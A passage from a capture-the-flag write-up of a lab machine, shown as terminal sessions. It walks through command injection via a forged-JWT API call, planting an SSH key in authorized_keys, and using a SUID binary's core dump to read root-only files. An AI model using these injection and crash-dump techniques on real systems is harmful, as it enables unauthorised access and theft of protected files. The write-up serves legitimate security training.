└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" --data-urlencode "file=validation.js;cd;ls" http://10.10.11.120:3000/api/logs   

{"message":{"message":"404 page not found","desc":"page you are looking for is not found. "}}                                                                                 
┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" --data-urlencode "file=validation.js;cd;ls" http://10.10.11.120:3000/api/logs -G

"local-web\nuser.txt\n"   

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" --data-urlencode "file=validation.js;cd;mkdir -p .ssh" http://10.10.11.120:3000/api/logs -G

""    

Storing public key in environmental variable and uploading public key into the authorized_keys file

┌──(kaliaidenpearce369)-[~]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" --data-urlencode "file=validation.js;cd;echo $PUB_KEY >>~/.ssh/authorized_keys" http://10.10.11.120:3000/api/logs -G 

""                                                                                 
┌──(kaliaidenpearce369)-[~]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" --data-urlencode "file=validation.js;cd;cat ~/.ssh/authorized_keys" http://10.10.11.120:3000/api/logs -G

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Z5IFfMHrr2SK1bYAI/1LGzLRCnPa6Y/Lal7eZfgL7j6/7+8OmZXrPEN2jPYn4K/lD4hVmWrAUGS86TaceM7m5XDcI/OAweR9pCFQfcLmMlyLlZxMLWx9DiZQpW05O2kOiH6mHZgzCjpkJZNR80VV6PswidJKtfwWinl+gaTn4J4jk2GMc2IEyQiAs2CWmUcfj9bJ92YNQW7NLoct0VyVjR6b2l1vL676bbIRcBpz7u6AyENPZNfbJdqoszPVsFBVfnnwYmY5ijLpHx1+muvnJK4gnezreDNteF1ZirNAByd+0R0lvkg4evVLsqDU98qfkvUgfZpqX8wTG2LRDqA48qj/d82hWSjRWzFjszdPRgJr57HPT1VStVupA0dqocRYD1lBbtBaN3bfpFQJRNkHti6gcIjgWuy7+6ul+0Ww1cf0OOx8qYj1mq1tsHtkPxZGks46ruQJDj7uW/Zdn6E8luPcev/RTb+hShEeAd1XxKKCYs4XelLvy/aSRiE3mKyQ1ho3XFb//2wTwuzLhZHHYjrjFJMVa2C8ruYkdZkp2T4PBVosbHVudHS92IwT4xWYVALFp+19CGp/GKgYfVYuvvJf3JD89Zf4/1Rcl4TTE/yE9aJANv+zJo4f9q6cofnxIVS/xyjxldQYMTRKiDL5GK5XpY1O78kUxfyisCZ2QQ== dasith_pwn\n"                                                                   ```

Gaining access using ```SSH```,

```c
┌──(kaliaidenpearce369)-[~]
└─$ ssh -i secret dasith@10.10.11.120                          
The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established.
ED25519 key fingerprint is SHA256:TMkIYJ5kXqHFji0NCRdDDvYT114MAOOsRgTr5/Xd/GM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.120' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 25 Mar 2022 11:37:01 AM UTC

  System load:           0.0
  Usage of /:            52.7% of 8.79GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             211
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.120
  IPv6 address for eth0: dead:beef::250:56ff:feb9:4e43


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Sep  8 20:10:26 2021 from 10.10.1.168
dasith@secret:~$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~$ whoami
dasith
dasith@secret:~$ cat user.txt 
<USER FLAG>
dasith@secret:~$ 

Privilege Escalation

Listing SUID binaries to check if any unusual SUID binary is present or not,

dasith@secret:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
...

Here we can find an unusual SUID binary /opt/count

This binary just lists the files and counts it, after that it saves the result into another file

dasith@secret:/opt$ ls
code.c  count  valgrind.log
dasith@secret:/opt$ ./count 
Enter source file/directory name: /home/dasith/
-rw-------      .viminfo
drwxrwxr-x      local-web
-r--------      user.txt
drwxr-xr-x      ..
-rw-r--r--      .bashrc
drwxrwxr-x      .local
-rw-r--r--      .bash_logout
lrwxrwxrwx      .bash_history
drwx------      .config
-rw-rw-r--      .selected_editor
lrwxrwxrwx      .dbshell
drwxrwxr-x      .pm2
-rw-rw-r--      .gitconfig
-rw-r--r--      .profile
drwxr-xr-x      .
drwx------      .cache
drwxrwxr-x      .npm
drwxr-xr-x      .ssh
-rw-------      .mongorc.js

Total entries       = 19
Regular files       = 8
Directories         = 9
Symbolic links      = 2
Save results a file? [y/N]: n

We could also perform this count operation on a file,

dasith@secret:/opt$ ./count 
Enter source file/directory name: /home/dasith/user.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: n

By going through the code, we can see that there are no functions that stores the contents of the file/directory in it, If it stores we could have easily see that data by debugging it on GDB or strace

But, we can see valgrind.log which is used to debug memory leaks and other memory related operations

Unfortunately there is no data in it too

But all the executable binary holds the data in temporary buffer and process it, If we run the program and if we make it to crash somehow, we might see the data in coredump

Here we are able to read the root flag, so we are able to perform privilege escalation by reading the files

dasith@secret:/opt$ ./count 
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: n

Now exiting the program using CTRL+Z,

dasith@secret:/opt$ ./count 
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count

Trying to view the crash dump, but these are not related to us

dasith@secret:/opt$ cat /var/crash/_opt_count.0.crash 
cat: /var/crash/_opt_count.0.crash: Permission denied
dasith@secret:/opt$ cat /var/crash/_opt_countzz.0.crash 
cat: /var/crash/_opt_countzz.0.crash: Permission denied

Now making the actual crash,

dasith@secret:/opt$ ps
    PID TTY          TIME CMD
   1385 pts/0    00:00:00 bash
   1597 pts/0    00:00:00 count
   1634 pts/0    00:00:00 ps
dasith@secret:/opt$ kill -SIGSEGV 1597 
dasith@secret:/opt$ fg
./count
Segmentation fault (core dumped)

There is a new crash file, which is readable by us

dasith@secret:/var/crash$ ls
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash
dasith@secret:/var/crash$ ls -la
total 88
drwxrwxrwt  2 root   root    4096 Mar 25 13:01 .
drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28048 Mar 25 13:01 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash

Unpacking it using apport-unpack,

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/extracted_report
dasith@secret:/var/crash$ cat /tmp/extracted_report/
Architecture         DistroRelease        _LogindSession       ProcCwd              ProcStatus           UserGroups           
CoreDump             ExecutablePath       ProblemType          ProcEnviron          Signal               
Date                 ExecutableTimestamp  ProcCmdline          ProcMaps             Uname                
dasith@secret:/var/crash$ strings /tmp/extracted_report/CoreDump 
CORE
CORE
count
./count 
IGISCORE
CORE

...

??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
Save results a file? [y/N]: words      = 2
Total lines      = 2
/root/root.txt
<ROOT FLAG>
aliases
ethers

...

dasith@secret:/var/crash$ 

If it is able to read files inside /root/ you can use this method to read any file contents to gain persistence (/etc/passwd , SSH keys, Protected Secrets) on root user of this machine